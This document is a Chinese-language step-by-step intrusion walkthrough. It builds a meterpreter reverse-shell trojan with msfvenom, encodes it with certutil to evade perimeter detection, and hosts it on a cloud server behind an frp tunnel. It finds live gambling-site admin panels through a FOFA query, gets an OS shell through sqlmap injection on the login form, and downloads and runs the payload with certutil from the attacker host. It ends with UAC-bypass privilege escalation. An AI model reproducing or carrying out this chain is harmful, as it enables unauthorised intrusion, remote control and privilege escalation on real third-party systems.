实验环境:
XXX云ECS一台:x.x.x.x
内网kali控制端:192.168.250.133
外网注入后台win7主机:
操作步骤:
- 分别在XXX云ECS、内网kali控制端搭建frp
具体方法参见:
- 配置
- 内网kali控制端配置 vi frpc.ini
- XXX云ECS配置 vim frps.ini
- 启动FRP
- 本地Kali linux 启动 FRP
./frpc -c ./frpc.ini
2、XXX云ECS启动FRP
./frps -c ./frps.ini
- msfvenom制作Windows木马程序
msfvenom -p windows/meterpreter/reverse_tcp lhost=你的公网ip lport=6000 -f exe >FRP.exe
将FRP.exe文件进行base64编码,以便绕过边界设备的安全检测生成文件FRP.txt:
Certutil -encode FRP.exe FRP.txt
然后将FRP.txt传到阿里云服务器中,使之能够被远程访问
注:SSH上传不成功,因此改为SFTP传输:sftp root@x.x.x.x
远程访问一下试试:http://X.X.X.X/FRP.txt
- 在kali中开始监听
msfconsole
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 127.0.0.1 #设置监听ip,必须和frpc中的local_ip 一致
lhost => 127.0.0.1
msf exploit(multi/handler) > set lport 4444 #设置监听端口,与frpc中的local_port一致
lport =>4444
msf exploit(multi/handler) > exploit
- 寻找目标
FOFA搜索词:body="棋牌后台管理系统" && title=="后台登录"
- 制作SQL注入请求包,用SQLMAP获得得Shell
POST /Login/ValidateLogin HTTP/1.1
Host: 111.XX.XX.XX:8001
Content-Length: 30
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://111.XX.XX.XX:8001
Referer: http://111.XX.XX.XX:8001/Login/index
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6
Cookie: Hm_lvt_8ee3ec23e73c6dcda2c7c9c489c151aa=1599407883; RYQIPAI=RYCacheKey=1&RYCacheKey_ETS=2020-09-07+00%3a28%3a17&VS=07a6f8746a60ecc3; ASP.NET_SessionId=udnrj5bxpuchvrf4fs4oute3; BT_PANEL_6=3a8e87d5-ad8a-4db2-9e57-c3a1684991e0._Tklm_sxRP6Gk0jcgXfEFwQVt9Y; Hm_lpvt_8ee3ec23e73c6dcda2c7c9c489c151aa=1599429027
Connection: close
userName=123*&password=321
在注入处标上*,上方请求包内的请求头Host参数修改成你目标域名或IP:端口,然后直接扔sqlmap执行:
sqlmap -r post.txt --os-shell
即可获取交互shell
- 用win自带的certutil.exe下载msf生成的shell---FRP.txt 然后提权。
在shell中将FRP.txt下载到本机,并命为frp0.txt
certutil.exe -urlcache -split -f "https://X.X.X.X/FRP.txt" frp0.txt
等下载完成后,执行下面的命令将frp0.txt解码为exe文件:
certutil.exe -decode frp0.txt frp0.exe
在os-shell中运行frp0.exe
- KALI 本地获得反弹shell,提权
在frp0.exe被执行后,可以看到前面MSF监听的获得下面的meterpreter会话
重新打开一个msfconsole 在已经获得的会话中再执行提权
use exploit/windows/local/bypassuac
或者通过Eventvwr注册表项UAC保护绕过